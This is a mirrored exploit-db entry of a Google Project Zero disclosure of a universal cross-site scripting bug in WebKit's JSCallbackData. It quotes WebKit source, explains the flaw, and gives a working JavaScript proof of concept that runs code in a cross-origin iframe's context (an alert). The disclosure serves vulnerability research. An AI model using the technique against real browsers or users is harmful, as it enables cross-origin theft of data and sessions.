Apple Webkit – ‘JSCallbackData’ Universal Cross-Site Scripting

  • 作者: Google Security Research
    日期: 2017-04-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41800/
  • <!--
    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1068
    
    Here is the definition of |JSCallbackData| class. This class is used to call a javascript function from a DOM object.
    
    class JSCallbackDataStrong : public JSCallbackData {
    public:
    JSCallbackDataStrong(JSC::JSObject* callback, void*)
    : m_callback(callback->globalObject()->vm(), callback)
    {
    }
    
    JSC::JSObject* callback() { return m_callback.get(); }
    JSDOMGlobalObject* globalObject() { return JSC::jsCast<JSDOMGlobalObject*>(m_callback->globalObject()); }
    
    JSC::JSValue invokeCallback(JSC::MarkedArgumentBuffer& args, CallbackType callbackType, JSC::PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
    {
    return JSCallbackData::invokeCallback(callback(), args, callbackType, functionName, returnedException);
    }
    
    private:
    JSC::Strong<JSC::JSObject> m_callback;
    };
    
    JSValue JSCallbackData::invokeCallback(JSObject* callback, MarkedArgumentBuffer& args, CallbackType method, PropertyName functionName, NakedPtr<JSC::Exception>& returnedException)
    {
    ASSERT(callback);
    
    auto* globalObject = JSC::jsCast<JSDOMGlobalObject*>(callback->globalObject());<<<---------- (1)
    ASSERT(globalObject);
    
    ExecState* exec = globalObject->globalExec();
    JSValue function;
    CallData callData;
    CallType callType = CallType::None;
    
    if (method != CallbackType::Object) {
    function = callback;
    callType = callback->methodTable()->getCallData(callback, callData);
    }
    if (callType == CallType::None) {
    if (method == CallbackType::Function) {
    returnedException = JSC::Exception::create(exec->vm(), createTypeError(exec));<<<---------- (2)
    return JSValue();
    }
    ...
    }
    ...
    }
    
    But |JSCallbackData::invokeCallback| method obtains the |ExecState| object from the callback object. So if we invoke |JSCallbackData::invokeCallback| method with the different origin's window as |callback|, an exception object will be created from the different domain's javascript context.
    
    PoC:
    -->
    
    "use strict";
    
    let f = document.body.appendChild(document.createElement("iframe"));
    f.onload = () => {
    f.onload = null;
    
    try {
    let iterator = document.createNodeIterator(document, NodeFilter.SHOW_ALL, f.contentWindow);
    iterator.nextNode();
    } catch (e) {
    e.constructor.constructor("alert(location)")();
    }
    };
    
    f.src = "https://abc.xyz/";